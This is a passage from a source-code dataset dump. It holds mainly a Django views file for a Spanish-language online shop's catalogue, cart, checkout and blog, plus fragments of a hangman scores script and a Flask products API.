zéro\n\n\n","repo_name":"Solinouk/Hangman-in-python","sub_path":"Scores.py","file_name":"Scores.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71471091773","text":"from django.shortcuts import render\nfrom django.views.generic import TemplateView, CreateView, ListView, DetailView, UpdateView\nfrom aplicaciones.web.models import Marca, QuejaAcoso, Promocion, Evento, RegistroExpo, Vacante, Postulacion, Detalle_Compra_Web, Domicilio, CompraWeb, CorreoCco, DescuentoTotal\nfrom aplicaciones.web.forms import CorreoForm, IncribirForm, PostulacionForm, DomicilioForm, AsuntosInternosForm\nfrom django.contrib import messages\nfrom django.urls import reverse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse_lazy\nfrom aplicaciones.pedidos.models import Producto, Area, Marca as MarcaProducto\n\nfrom aplicaciones.inicio.models import User\nfrom aplicaciones.inicio.forms import UserForm\n\nfrom django.http import JsonResponse\nfrom aplicaciones.empresa.models import Cliente\n\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.db import IntegrityError\nimport json,random\nfrom django.db.models import Avg, Sum, F, FloatField, Count, Q\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom aplicaciones.web.models import Blog\nfrom django.contrib.auth.admin import UserAdmin\nfrom django.contrib import messages\nfrom django.contrib.messages.views import SuccessMessageMixin\n\n# Create your views here.\nclass Home(TemplateView): \n template_name=\"web/V2/inicio.html\" \n\n def get_context_data(self, **kwargs): \n context = super(Home, self).get_context_data(**kwargs)\n # context['galeria_list'] = Galeria.objects.all()\n # context['form_correo'] = CorreoForm()\n # context['even_nombre'] = Evento.objects.all()\n # context['marca_list'] = Marca.objects.all()\n # context['catagolo_list'] = Catalagos.objects.all()[:8]\n context['promo_list'] = Promocion.objects.all()\n # context['evento_list'] = Evento.objects.all()\n # context['msn_ccs'] = CorreoForm()\n context['portadas'] = Blog.objects.filter(blog_tipo=2)\n context['ofert_semana'] = Blog.objects.filter(blog_tipo=3)\n context['oferta_especial'] = Blog.objects.filter(blog_tipo=4)\n context['blogs'] = Blog.objects.filter(blog_tipo=1).order_by('-blog_creado')[:6]\n context['marcas_logo'] = MarcaProducto.objects.filter(marca_activar_web=True)\n productos_cat_top = Detalle_Compra_Web.objects.values('dcw_producto_id__producto_linea__l_subcat__sc_area__area_id_area','dcw_producto_id__producto_linea__l_subcat__sc_area__area_nombre', 'dcw_producto_id__producto_linea__l_subcat__sc_area__area_icono').annotate(cuenta_cat=Count('dcw_producto_id__producto_linea__l_subcat__sc_area__area_id_area')).order_by('-dcw_producto_id__producto_linea__l_subcat__sc_area__area_id_area')\n context['productos'] = productos_cat_top.order_by('-cuenta_cat')[:7]\n trending = Detalle_Compra_Web.objects.filter(dcw_status=True).values(\n 'dcw_producto_id', \n 'dcw_producto_id__producto_codigo', \n 'dcw_producto_id__producto_imagen', \n 'dcw_producto_id__producto_precio', \n 'dcw_producto_id__producto_descripcion', \n 'dcw_producto_id__producto_nombre').order_by('dcw_producto_id').annotate(veces_pedido=Sum('dcw_cantidad'))\n context['trendings'] = trending.order_by('-veces_pedido')[:5]\n # context['aleatorio'] = Producto.objects.filter(producto_importancia__in = [random.randint(1,100),random.randint(101, 200),random.randint(201, 300),random.randint(301, 400),random.randint(401, 500)]).order_by('?')[:5]\n context['aleatorio'] = Producto.objects.filter(producto_importancia__range = (1,500)).order_by('?')[:5]\n return context\n def post(self, request, *args, **kwargs):\n form = CorreoForm(data=request.POST)\n if form.is_valid():\n form.save()\n messages.success(request, 'Mensaje guardado correctamente')\n else:\n messages.warning(request, 'Error al guardar')\n url=reverse('web:inicio')\n url=url+'#contact'\n return redirect(url)\n\n\nclass IncribirCreate(CreateView):\n template_name = 'form_create.html'\n model = RegistroExpo\n form_class = IncribirForm\n def get_success_url(self):\n url=reverse('web:inicio')\n url=url+'#expos'\n messages.success(self.request, 'Inscrito guardado correctamente')\n return url\n \n def get_context_data(self, **kwargs): \n context = super(IncribirCreate, self).get_context_data(**kwargs)\n context['detalle_object'] = Evento.objects.get(id=self.request.GET.get('codex'))\n return context\n\n\n\nclass VacanteView(ListView):\n template_name = \"web/vacantes.html\"\n model = Vacante\n\n\nclass PostularCreate(CreateView):\n template_name = 'form_create.html'\n model = Postulacion\n form_class = PostulacionForm\n def get_success_url(self):\n url=reverse('web:vacantes')\n messages.success(self.request, 'Postulacion exitosa, si cumple con los requisitos un agente de RH se comunicara con usted.')\n return url\n\n\nclass ProductosListWebView(ListView): \n model = Producto\n template_name = \"web/V2/comprar.html\" \n paginate_by = 24\n \n def get_queryset(self):\n queryset = super().get_queryset()\n queryset = queryset.filter(producto_visible=True)\n\n area = self.request.GET.get('area') \n marca = self.request.GET.getlist('marca')\n order = self.request.GET.get('order')\n linea = self.request.GET.get('linea')\n sub_cat = self.request.GET.get('sub_cat')\n busqueda = self.request.GET.get('busqueda')\n if area != None and area != '':\n queryset = queryset.filter(producto_linea__l_subcat__sc_area=area)\n if busqueda != None and busqueda != 'None':\n queryset = queryset.filter(~Q(producto_importancia=0), Q(producto_codigo = busqueda) | Q(producto_nombre__icontains=busqueda)|Q(producto_descripcion__iexact=busqueda)).order_by('producto_importancia')\n if len(marca) > 0:\n queryset = queryset.filter(producto_marca__in=marca)\n\n if order == 'desc':\n queryset = queryset.order_by('producto_precio') \n elif order == 'asc':\n queryset = queryset.order_by('-producto_precio')\n elif order == 'date_new':\n queryset = queryset.order_by('producto_fecha_creado')\n elif order == 'ordenalfabetico':\n queryset = queryset.order_by('producto_nombre')\n \n if linea != None:\n queryset = queryset.filter(producto_linea=linea)\n if sub_cat != None:\n queryset = queryset.filter(producto_linea__l_subcat=sub_cat)\n \n return queryset\n\n def get_context_data(self, **kwargs): \n context = super().get_context_data(**kwargs)\n area = self.request.GET.get('area') \n linea = self.request.GET.get('linea')\n sub_cat = self.request.GET.get('sub_cat')\n busqueda = self.request.GET.get('busqueda')\n paginasCarrusel =[]\n paginasCarruselfin =[]\n q_marca = Producto.objects.filter(producto_visible=True)\n q_marca2 = Producto.objects.filter(producto_visible=True)\n\n context['area_count'] = Producto.objects.filter(producto_visible=True).values('producto_linea__l_subcat__sc_area__area_nombre', 'producto_linea__l_subcat__sc_area').annotate(total_produc=Count('producto_codigo')).order_by('producto_linea__l_subcat__sc_area')\n context['marca_lista'] = self.request.GET.getlist('marca')\n \n if area != None and area != '':\n q_marca = q_marca.filter(producto_linea__l_subcat__sc_area=area) \n if linea != None:\n q_marca = q_marca.filter(producto_linea=linea)\n if sub_cat != None:\n context['marca_object_list'] = q_marca.values('producto_marca', 'producto_marca__marca_nombre').annotate(c_marca=Count('producto_marca')).order_by('producto_marca')\n q_marca = q_marca.filter(producto_linea__l_subcat=sub_cat)\n \n if busqueda != None and busqueda != 'None':\n # q_marca = q_marca.filter(Q(producto_nombre__icontains=busqueda)|Q(producto_descripcion__icontains=busqueda))\n q_marca = q_marca.filter(~Q(producto_importancia=0), Q(producto_codigo = busqueda) | Q(producto_nombre__icontains=busqueda)|Q(producto_descripcion__iexact=busqueda)).order_by('producto_importancia').values('producto_marca', 'producto_marca__marca_nombre').annotate(conteo=Count('producto_marca')).order_by('-conteo', 'producto_marca')\n \n context['marca_object_list'] = q_marca.values('producto_marca', 'producto_marca__marca_nombre').annotate(c_marca=Count('producto_marca')).order_by('producto_marca')\n context['banners'] = Blog.objects.filter(blog_tipo=5).order_by('-blog_creado')\n itemmarca=q_marca.values_list('producto_marca', flat=True)[:1]\n itemsubcategoria=q_marca.values_list('producto_linea__l_subcat', flat=True)[:1]\n itemcodigo=q_marca.values_list('producto_codigo', flat=True)\n if len(itemsubcategoria) > 0:\n context['relacionados'] = q_marca2.filter(producto_linea__l_subcat = itemsubcategoria[0], producto_marca=itemmarca[0]).exclude(producto_codigo__in=itemcodigo).order_by('producto_importancia')[:28]\n context['totalregistrosdestacados'] = context['relacionados'].count()\n\n if context['relacionados'].count()//4 < context['relacionados'].count()/4:\n context['totalPaginasCarrusel']= range((context['relacionados'].count()//4)+1)\n else:\n context['totalPaginasCarrusel']= range(context['relacionados'].count()//4)\n\n for i in context['totalPaginasCarrusel']:\n paginasCarrusel.append((i*4)+1)\n\n for i in context['totalPaginasCarrusel']:\n paginasCarruselfin.append((i*4)+4)\n \n if len(paginasCarrusel) > 1:\n paginasCarrusel.pop(0)\n \n context['paginascarrusel']= paginasCarrusel\n context['paginascarruselfin']= paginasCarruselfin\n\n urls_formateada = self.request.GET.copy()\n if 'page' in urls_formateada:\n del urls_formateada['page']\n context['urls_formateada'] = urls_formateada\n if area != None and area != '':\n context['marca_object_list'] = q_marca.values('producto_marca', 'producto_marca__marca_nombre').annotate(c_marca=Count('producto_marca')).order_by('producto_marca')\n context['subcategoria'] = Producto.objects.filter(producto_visible=True,producto_linea__l_subcat__sc_area=area).values('producto_linea__l_subcat__sc_nombre', 'producto_linea__l_subcat').annotate(total_produc=Count('producto_codigo')).order_by('producto_linea__l_subcat') \n \n return context\n\n\n\nclass ProductoDetalleView(DetailView):\n model = Producto\n template_name=\"web/V2/detalle_producto.html\"\n \n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.object.producto_linea != None:\n context['prod_relacionado']=Producto.objects.filter(producto_linea=self.object.producto_linea).exclude(producto_codigo=self.object) \n return context\n \n def post(self, request, *args, **kwargs):\n self.object = self.get_object()\n context = super().get_context_data(**kwargs)\n cantidad_prod = request.POST.get('quantity')\n pk = kwargs.get('pk')\n producto_obj = Producto.objects.get(producto_codigo=pk)\n\n suma_prod_futura = Detalle_Compra_Web.objects.filter(dcw_producto_id=pk, dcw_status=False).aggregate(suma=Sum('dcw_cantidad'))['suma']\n suma_prod_futura = 0 if suma_prod_futura == None else suma_prod_futura\n total_suma_pendiente=suma_prod_futura + int(cantidad_prod)\n\n if int(cantidad_prod) <= 0:\n messages.warning(request, 'Cantidad de producto debe ser mayor a 0.')\n return self.render_to_response(context=context) \n elif total_suma_pendiente <= producto_obj.prducto_existencia: \n try:\n find_prod_user = Detalle_Compra_Web.objects.get(dcw_creado_por=request.user, dcw_status=False, dcw_producto_id=pk)\n Detalle_Compra_Web.objects.filter(dcw_creado_por=request.user, dcw_status=False, dcw_producto_id=pk).update(dcw_cantidad=F('dcw_cantidad')+int(cantidad_prod))\n except ObjectDoesNotExist as erro:\n dt_cw=Detalle_Compra_Web(dcw_producto_id=producto_obj, dcw_cantidad=cantidad_prod, dcw_creado_por=request.user, dcw_precio=producto_obj.producto_precio)\n dt_cw.save()\n # conteo_shop=Detalle_Compra_Web.objects.filter(dcw_creado_por=request.user, dcw_status=False).count() \n messages.success(request, '¡Producto agregado correctamente!')\n return self.render_to_response(context=context) \n else: \n messages.warning(request, 'Supera el limite de producto en existencia')\n return self.render_to_response(context=context) \n \n\n\n\nclass CreateUser(SuccessMessageMixin,CreateView):\n model = UserAdmin\n form_class = UserForm\n template_name = 'web/registrar.html'\n success_url = reverse_lazy('inicio')\n # success_url = '/registro/user/computel/'\n success_message = \"El usuario %(username)s ha sido registrado satisfactoriamente, puede iniciar sesión con su usuario y contraseña\"\n def form_valid(self, form):\n instancia = form.save(commit=False)\n instancia.is_user_web=True\n instancia.first_name = instancia.rfc\n instancia.username = instancia.rfc\n try:\n instancia.save()\n except IntegrityError as error:\n messages.warning(self.request, 'El usuario {} ya se encuentra registrado, por favor vaya a la sección Iniciar sesión.'.format(instancia.rfc))\n url = reverse_lazy('web:registro')\n return redirect(url)\n return super(CreateUser, self).form_valid(form)\n def get_success_message(self, cleaned_data):\n return self.success_message % dict(\n cleaned_data,\n username=self.object.username,\n )\n\n\ndef FindRfcUserView(request):\n rfc = request.GET.get('rfc')\n try:\n client=Cliente.objects.get(cli_rfc=rfc)\n responseData = {\n 'nombre':client.cli_nombre,\n 'email':client.cli_email,\n }\n return JsonResponse(status=200, data=responseData)\n except ObjectDoesNotExist as err:\n return JsonResponse(status=204, data={})\n\n\ndef AddProductoCarrito(request): \n body_unicode = request.body.decode('utf-8')\n body_data = json.loads(body_unicode)\n cantidad_prod = body_data['cantidad']\n producto_obj = Producto.objects.get(producto_codigo=body_data['producto'])\n\n suma_prod_futura = Detalle_Compra_Web.objects.filter(dcw_producto_id=producto_obj, dcw_status=False).aggregate(suma=Sum('dcw_cantidad'))['suma']\n suma_prod_futura = 0 if suma_prod_futura == None else suma_prod_futura\n total_suma_pendiente=suma_prod_futura+ int(cantidad_prod)\n if int(cantidad_prod) <= 0:\n contenido={\n 'msn':'Cantidad de producto debe ser mayor a 0',\n }\n return JsonResponse(status=400, data=contenido)\n elif total_suma_pendiente <= producto_obj.prducto_existencia:\n try:\n find_prod_user = Detalle_Compra_Web.objects.get(dcw_creado_por=request.user, dcw_status=False, dcw_producto_id=body_data['producto'])\n Detalle_Compra_Web.objects.filter(dcw_creado_por=request.user, dcw_status=False, dcw_producto_id=body_data['producto']).update(dcw_cantidad=F('dcw_cantidad')+int(cantidad_prod))\n except ObjectDoesNotExist as erro:\n dt_cw=Detalle_Compra_Web(dcw_producto_id=producto_obj, dcw_cantidad=cantidad_prod, dcw_creado_por=request.user, dcw_precio=producto_obj.producto_precio)\n dt_cw.save()\n\n conteo_shop=Detalle_Compra_Web.objects.filter(dcw_creado_por=request.user, dcw_status=False).count()\n contenid={\n 'ok':'¡Producto agregado correctamente!',\n 'shoping':conteo_shop,\n }\n return JsonResponse(status=201, data=contenid)\n else:\n contenido={\n 'msn':'Supera el limite de producto en existencia',\n }\n return JsonResponse(status=400, data=contenido)\n\ndef get_carro_compras(request):\n if request.user.is_authenticated:\n conteo_shop=Detalle_Compra_Web.objects.filter(dcw_creado_por=request.user, dcw_status=False).count()\n conteo_shop = '' if conteo_shop == 0 else conteo_shop\n contenid={\n 'shoping':conteo_shop,\n }\n return JsonResponse(status=200, data=contenid)\n else:\n return JsonResponse(status=200, data={})\n\n \n \n#se cambio la direccioón del template a la versión 2\nclass CarritoComprasView(LoginRequiredMixin, ListView): \n model=Detalle_Compra_Web\n template_name = \"web/V2/carrito.html\"\n login_url = reverse_lazy('inicio') \n redirect_field_name = 'redirect_to'\n context_object_name = 'carrito'\n def get_queryset(self):\n queryset = super().get_queryset()\n queryset = queryset.filter(dcw_creado_por=self.request.user, dcw_status=False) \n return queryset\n def post(self, request, *args, **kwargs):\n url=reverse_lazy('web:carrito') \n post = request.POST\n exclude_items=[] \n for item in post:\n if 'csrfmiddlewaretoken' != item:\n if int(post[item]) <= 0:\n pass\n else:\n Detalle_Compra_Web.objects.filter(dcw_producto_id=item, dcw_creado_por=request.user, dcw_status=False).update(dcw_cantidad=post[item]) \n exclude_items.append(item)\n \n Detalle_Compra_Web.objects.filter(dcw_creado_por=request.user, dcw_status=False).exclude(dcw_producto_id__in=exclude_items).delete()\n return redirect(url)\n\n def get_context_data(self, **kwargs): \n context = super().get_context_data(**kwargs)\n # context['carrito'] = Detalle_Compra_Web.objects.filter(dcw_creado_por=self.request.user, dcw_status=False) \n \n \n return context\n \n \n\n\ndef delete_item_carrito(request):\n body_unicode = request.body.decode('utf-8')\n body_data = json.loads(body_unicode)\n obj=Detalle_Compra_Web.objects.filter(dcw_producto_id=body_data['producto'], dcw_creado_por=request.user, dcw_status=False).delete()\n \n contenid={\n 'delete':body_data['producto'],\n }\n return JsonResponse(status=201, data=contenid)\n\n#se cambio el template a la versión 2 \nclass CheckoutView(LoginRequiredMixin,TemplateView):\n login_url = reverse_lazy('inicio')\n redirect_field_name = 'redirect_to'\n template_name = \"web/V2/checkout.html\"\n def post(self, request, *args, **kwargs):\n post_dom = request.POST.get('dominicio')\n post_des_esp = request.POST.get('especial_descuento')\n if post_des_esp:\n print('no es nulo')\n else:\n post_des_esp=False\n \n url='/' \n if post_dom == '0':\n form = DomicilioForm(request.POST)\n if form.is_valid():\n Domicilio.objects.filter(dom_creador=self.request.user).update(dom_activo=False)\n form.instance.dom_activo=True\n form.instance.dom_creador=request.user\n dom_new = form.save()\n \n obj_c=CompraWeb(\n cw_cliente=request.user,\n cw_domicilio_id=dom_new.pk,\n cw_descuento_especial = post_des_esp\n )\n obj_c.save()\n detalle_compra=Detalle_Compra_Web.objects.filter(dcw_creado_por=self.request.user, dcw_status=False)\n descuentostotales=DescuentoTotal.objects.all().order_by('-dst_precio')\n for item in detalle_compra:\n Producto.objects.filter(producto_codigo=item.dcw_producto_id).update(prducto_existencia=F('prducto_existencia')-item.dcw_cantidad)\n TotalCompra=detalle_compra.aggregate(dcw_precio=Sum(F('dcw_precio')))\n contador=0\n for des in descuentostotales:\n if TotalCompra['dcw_precio'] > des.dst_precio and contador == 0:\n detalle_compra.update(dcw_pedido_id=obj_c, dcw_status=True, dcw_precio=F('dcw_precio')-(F('dcw_precio')*des.dst_porcentaje))\n contador=contador+1\n elif contador == 0:\n detalle_compra.update(dcw_pedido_id=obj_c, dcw_status=True)\n contador=contador+1\n messages.success(request, 'Su compra ha sido realizada el pago es efectuado en la entrega del paquete en el domicilio.')\n url=reverse_lazy('web:compras_web')\n \n else:\n messages.success(request, 'Asegurece de rellenar todos los datos del domicilio')\n url=reverse_lazy('web:checkout')\n \n else:\n obj_c=CompraWeb(\n cw_cliente=request.user,\n cw_domicilio_id=post_dom,\n cw_descuento_especial = post_des_esp\n )\n obj_c.save()\n detalle_compra=Detalle_Compra_Web.objects.filter(dcw_creado_por=self.request.user, dcw_status=False)\n descuentostotales=DescuentoTotal.objects.all().order_by('-dst_precio')\n for item in detalle_compra:\n Producto.objects.filter(producto_codigo=item.dcw_producto_id).update(prducto_existencia=F('prducto_existencia')-item.dcw_cantidad)\n TotalCompra=detalle_compra.aggregate(dcw_precio=Sum(F('dcw_precio')))\n contador=0\n for des in descuentostotales:\n if TotalCompra['dcw_precio'] > des.dst_precio and contador == 0:\n detalle_compra.update(dcw_pedido_id=obj_c, dcw_status=True, dcw_precio=F('dcw_precio')-(F('dcw_precio')*des.dst_porcentaje))\n contador=contador+1\n elif contador == 0:\n detalle_compra.update(dcw_pedido_id=obj_c, dcw_status=True)\n contador=contador+1\n messages.success(request, 'Su compra ha sido realizada el pago es efectuado en la entrega del paquete en el domicilio.'+repr(obj_c.cw_id))\n url=reverse_lazy('web:compras_web')\n \n return redirect(url) \n \n\n \n def get_context_data(self, **kwargs): \n context = super().get_context_data(**kwargs)\n descuentostotales=DescuentoTotal.objects.all().order_by('-dst_precio')\n context['usuario']=self.request.user\n context['domicilios'] =Domicilio.objects.filter(dom_creador=self.request.user)\n context['domicilioForm'] =DomicilioForm() \n context['carrito'] = Detalle_Compra_Web.objects.filter(dcw_creado_por=self.request.user, dcw_status=False) \n context['carrito_count'] = Detalle_Compra_Web.objects.filter(dcw_creado_por=self.request.user, dcw_status=False).count()\n context['subtotal'] = Detalle_Compra_Web.objects.filter(dcw_creado_por=self.request.user, dcw_status=False).aggregate(suma_total=Sum(F('dcw_precio') * F('dcw_cantidad'), output_field=FloatField()))['suma_total'] \n context['subtotal'] = 0 if context['subtotal'] == None else context['subtotal']\n contador=0\n context['descuento']=0\n for des in descuentostotales:\n if context['subtotal'] > des.dst_precio and contador == 0:\n context['descuento'] = context['subtotal'] * des.dst_porcentaje \n contador=contador+1\n elif contador == 0:\n context['descuento'] = 0\n contador=contador+1\n context['iva'] = (context['subtotal']-context['descuento']) * 0.16\n context['total'] = context['subtotal']+context['iva']-context['descuento']\n\n \n return context\n\n\n\nclass DomicilioCreateView(LoginRequiredMixin,CreateView):\n login_url = reverse_lazy('inicio')\n redirect_field_name = 'redirect_to'\n template_name = 'web/domicilios.html'\n model = Domicilio\n form_class = DomicilioForm\n success_url = reverse_lazy('web:dom_list')\n def form_valid(self, form):\n instancia = form.save(commit=False)\n Domicilio.objects.filter(dom_creador=self.request.user).update(dom_activo=False)\n instancia.dom_activo=True\n instancia.dom_creador=self.request.user\n instancia.save()\n return super(DomicilioCreateView, self).form_valid(form)\n # def get_success_url(self):\n # url=reverse('web:inicio')\n # url=url+'#expos'\n # messages.success(self.request, 'Inscrito guardado correctamente')\n # return url\n \n # def get_context_data(self, **kwargs): \n # context = super(IncribirCreate, self).get_context_data(**kwargs)\n # context['detalle_object'] = Evento.objects.get(id=self.request.GET.get('codex'))\n # return context\n\n\nclass DomicilioUpdateView(LoginRequiredMixin,UpdateView):\n login_url = reverse_lazy('inicio')\n redirect_field_name = 'redirect_to'\n template_name = 'web/domicilios.html'\n model = Domicilio\n form_class = DomicilioForm\n success_url = reverse_lazy('web:dom_list')\n # def form_valid(self, form):\n # instancia = form.save(commit=False)\n # Domicilio.objects.filter(dom_creador=self.request.user).update(dom_activo=False)\n # instancia.dom_activo=True\n # instancia.dom_creador=self.request.user\n # instancia.save()\n # return super(DomicilioCreateView, self).form_valid(form)\n\n\nclass DomicilioListView(LoginRequiredMixin,ListView):\n login_url = reverse_lazy('inicio')\n redirect_field_name = 'redirect_to'\n template_name = 'web/domicilios_list.html'\n model = Domicilio\n\n def get_queryset(self):\n queryset = super().get_queryset()\n queryset = queryset.filter(dom_creador=self.request.user)\n return queryset\n\nclass ComprasWebList(LoginRequiredMixin,ListView):\n login_url = reverse_lazy('inicio')\n redirect_field_name = 'redirect_to'\n template_name = 'web/compras_listar.html'\n model = CompraWeb\n def get_queryset(self):\n queryset = super().get_queryset()\n queryset = queryset.filter(cw_cliente=self.request.user)\n return queryset\n\nclass DetalleCmpraWebView(LoginRequiredMixin,ListView):\n login_url = reverse_lazy('inicio')\n redirect_field_name = 'redirect_to'\n template_name = 'web/detalle_compra.html'\n model = Detalle_Compra_Web\n context_object_name='carrito'\n def get_queryset(self): \n queryset = super().get_queryset()\n queryset = queryset.filter(dcw_pedido_id=self.kwargs.get('pk')) \n return queryset\n \n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n descuentostotales=DescuentoTotal.objects.all().order_by('-dst_precio')\n context['subtotal'] = Detalle_Compra_Web.objects.filter(dcw_pedido_id=self.kwargs.get('pk')).aggregate(suma_total=Sum(F('dcw_precio') * F('dcw_cantidad'), output_field=FloatField()))['suma_total'] \n context['subtotal'] = 0 if context['subtotal'] == None else context['subtotal']\n contador=0\n context['descuento']=0\n for des in descuentostotales:\n if context['subtotal'] > des.dst_precio and contador == 0:\n context['descuento'] = context['subtotal'] * des.dst_porcentaje \n contador=contador+1\n elif contador == 0:\n context['descuento'] = 0\n contador=contador+1\n context['iva'] = (context['subtotal']-context['descuento']) * 0.16\n context['total'] = context['subtotal']+context['iva']-context['descuento']\n return context\n\n\n\nclass DetalleCuentaView(LoginRequiredMixin,TemplateView):\n login_url = reverse_lazy('inicio')\n redirect_field_name = 'redirect_to'\n template_name = 'web/profile.html'\n\n\n\nclass BlogViewSingle(DetailView):\n model = Blog\n template_name = 'web/blog_view.html'\n \n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n context['blog_relacionado'] = Blog.objects.filter(blog_categoria=self.object.blog_categoria).exclude(blog_id=self.object.blog_id).order_by('-blog_creado')[:2]\n context['blog_reciente'] = Blog.objects.exclude(blog_id=self.object.blog_id).order_by('-blog_creado')[:6]\n context['banners'] = Blog.objects.filter(blog_tipo=5).order_by('-blog_creado')\n return context\n \n\n\n# Pagina computel v2 parte fea lic leo\nclass NuestraEmpresa(TemplateView):\n template_name = \"web/V2/nuestraempresa.html\"\n\nclass Aniversario(TemplateView):\n template_name = \"web/V2/compraYgana.html\"\n\nclass PoliticasDevoluciones(TemplateView):\n template_name = \"web/V2/politicas.html\"\n\nclass ServicioCliente(TemplateView):\n template_name = \"web/V2/serviciocliente.html\"\n\nclass Contacto(CreateView):\n model = CorreoCco\n form_class = CorreoForm\n template_name = 'web/V2/contacto.html'\n success_url=reverse_lazy(\"web:inicio\")\n \n # def get_context_data(self, **kwargs):\n # context = super().get_context_data(**kwargs)\n # context['blog_relacionado'] = Blog.objects.filter(blog_categoria=self.object.blog_categoria).exclude(blog_id=self.object.blog_id).order_by('-blog_creado')[:2]\n # context['blog_reciente'] = Blog.objects.exclude(blog_id=self.object.blog_id).order_by('-blog_creado')[:6]\n # context['banners'] = Blog.objects.filter(blog_tipo=5).order_by('-blog_creado')\n # return context\n\nclass ProductoDetalleViewV2(DetailView):\n model = Producto\n template_name=\"web/V2/detalle_producto.html\"\n \n def get_context_data(self, **kwargs):\n context = super().get_context_data(**kwargs)\n if self.object.producto_linea != None:\n context['prod_relacionado']=Producto.objects.filter(producto_linea=self.object.producto_linea).exclude(producto_codigo=self.object) \n return context\n \n def post(self, request, *args, **kwargs):\n self.object = self.get_object()\n context = super().get_context_data(**kwargs)\n cantidad_prod = request.POST.get('quantity')\n pk = kwargs.get('pk')\n producto_obj = Producto.objects.get(producto_codigo=pk)\n\n suma_prod_futura = Detalle_Compra_Web.objects.filter(dcw_producto_id=pk, dcw_status=False).aggregate(suma=Sum('dcw_cantidad'))['suma']\n suma_prod_futura = 0 if suma_prod_futura == None else suma_prod_futura\n total_suma_pendiente=suma_prod_futura + int(cantidad_prod)\n\n if int(cantidad_prod) <= 0:\n messages.warning(request, 'Cantidad de producto debe ser mayor a 0.')\n return self.render_to_response(context=context) \n elif total_suma_pendiente <= producto_obj.prducto_existencia: \n try:\n find_prod_user = Detalle_Compra_Web.objects.get(dcw_creado_por=request.user, dcw_status=False, dcw_producto_id=pk)\n Detalle_Compra_Web.objects.filter(dcw_creado_por=request.user, dcw_status=False, dcw_producto_id=pk).update(dcw_cantidad=F('dcw_cantidad')+int(cantidad_prod))\n except ObjectDoesNotExist as erro:\n dt_cw=Detalle_Compra_Web(dcw_producto_id=producto_obj, dcw_cantidad=cantidad_prod, dcw_creado_por=request.user, dcw_precio=producto_obj.producto_precio)\n dt_cw.save()\n # conteo_shop=Detalle_Compra_Web.objects.filter(dcw_creado_por=request.user, dcw_status=False).count() \n messages.success(request, '¡Producto agregado correctamente!')\n return self.render_to_response(context=context) \n else: \n messages.warning(request, 'Supera el limite de producto en existencia')\n return self.render_to_response(context=context)\n\nclass AsuntosInternosAdd(CreateView):\n model = QuejaAcoso\n form_class = AsuntosInternosForm\n template_name = 'web/V2/asuntosinternos.html'\n success_url=reverse_lazy(\"web:inicio\")\n\nclass AsuntosInternosList(ListView):\n template_name = \"web/V2/asuntosin_list.html\"\n model = QuejaAcoso","repo_name":"inuyaga/SGA","sub_path":"aplicaciones/web/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":32408,"program_lang":"python","lang":"es","doc_type":"code","stars":4,"dataset":"github-code","pt":"78"} +{"seq_id":"4822432296","text":"from flask import jsonify, request\n\nfrom .bp import bp\nfrom app import db\nfrom app.models import (\n Batch,\n Btproduct,\n Lot,\n Manufacturer,\n Manufacturerlot,\n Product,\n Seller,\n Trademark,\n Weighting\n)\n\nfrom .constants import plant_dict\n\n\n@bp.route(\"/api/v1/products\", methods=['GET'])\ndef products_data():\n\n page = request.args.get('_page', type=int)\n limit = request.args.get('_limit', type=int)\n product_id = request.args.get('_product_id', type=str)\n product_name = request.args.get('_product_name', type=str)\n offset = page * limit\n\n filters = []\n\n product_qry = db.session.query(\n Product.ProductId,\n Product.ProductName\n ).filter(\n Product.ProductName.is_not(None)\n ).order_by(\n Product.ProductName\n )\n\n if product_id:\n filters.append(Product.ProductId.like(\"%{}%\".format(product_id)))\n if product_name:\n filters.append(Product.ProductName.like(\"%{}%\".format(product_name)))\n\n total_records = product_qry.count()\n\n if len(filters) > 0:\n total = product_qry.filter(*filters).count()\n product_data = product_qry.filter(\n *filters).offset(offset).limit(limit)\n else:\n total = total_records\n product_data = product_qry.offset(offset).limit(limit)\n\n rows = []\n\n for row in product_data:\n rows.append({\n 'product_id': row.ProductId,\n 'product_name': row.ProductName,\n })\n\n response = {'rows': rows, 'total': total}\n return jsonify(response)\n\n\n@bp.route(\"/api/v1/products/\", methods=['GET'])\ndef product_detail(product_id):\n\n page = request.args.get('_page', type=int)\n limit = request.args.get('_limit', type=int)\n lot_name = request.args.get('_lot_name', type=str)\n seller_name = request.args.get('_seller_name', type=str)\n manufacturer_name = request.args.get('_manufacturer_name', type=str)\n manufacturer_lot_name = request.args.get(\n '_manufacturer_lot_name', type=str)\n trademark_name = request.args.get('_trademark_name', type=str)\n\n offset = page * limit\n\n product = db.session.query(Product).filter(\n Product.ProductId == product_id).one_or_none()\n\n header = {\n 'product_id': product_id,\n 'product_name': product.ProductName if product else 'Нет данных'\n }\n\n filters = []\n\n filters.append(Lot.ProductId == product_id)\n\n if lot_name:\n filters.append(Lot.LotName.like(\"%{}%\".format(lot_name)))\n\n if seller_name:\n filters.append(Seller.SellerName.like(\"%{}%\".format(seller_name)))\n\n if manufacturer_name:\n filters.append(Manufacturer.ManufacturerName.like(\n \"%{}%\".format(manufacturer_name)))\n\n if manufacturer_lot_name:\n filters.append(\n Manufacturerlot.ManufacturerLotName.like(\n \"%{}%\".format(manufacturer_lot_name))\n )\n\n if trademark_name:\n filters.append(Trademark.TrademarkName.like(\n \"%{}%\".format(trademark_name)))\n\n product_qry = db.session.query(\n Lot.LotPK.label('lot_id'),\n Lot.LotName.label('lot_name'),\n Lot.lot_date.label('lot_date'),\n Lot.SellerPK.label('seller_id'),\n Seller.SellerName.label('seller_name'),\n Lot.ManufacturerPK.label('manufacturer_id'),\n Manufacturer.ManufacturerName.label('manufacturer_name'),\n Lot.ManufacturerLotPK.label('manufacturer_lot_id'),\n Manufacturerlot.ManufacturerLotName.label('manufacturer_lot_name'),\n Lot.TradeMarkPK.label('trademark_id'),\n Trademark.TrademarkName.label('trademark_name')\n ).join(\n Seller, Seller.SellerPK == Lot.SellerPK,\n isouter=True\n ).join(\n Manufacturer, Manufacturer.ManufacturerPK == Lot.ManufacturerPK,\n isouter=True\n ).join(\n Manufacturerlot,\n 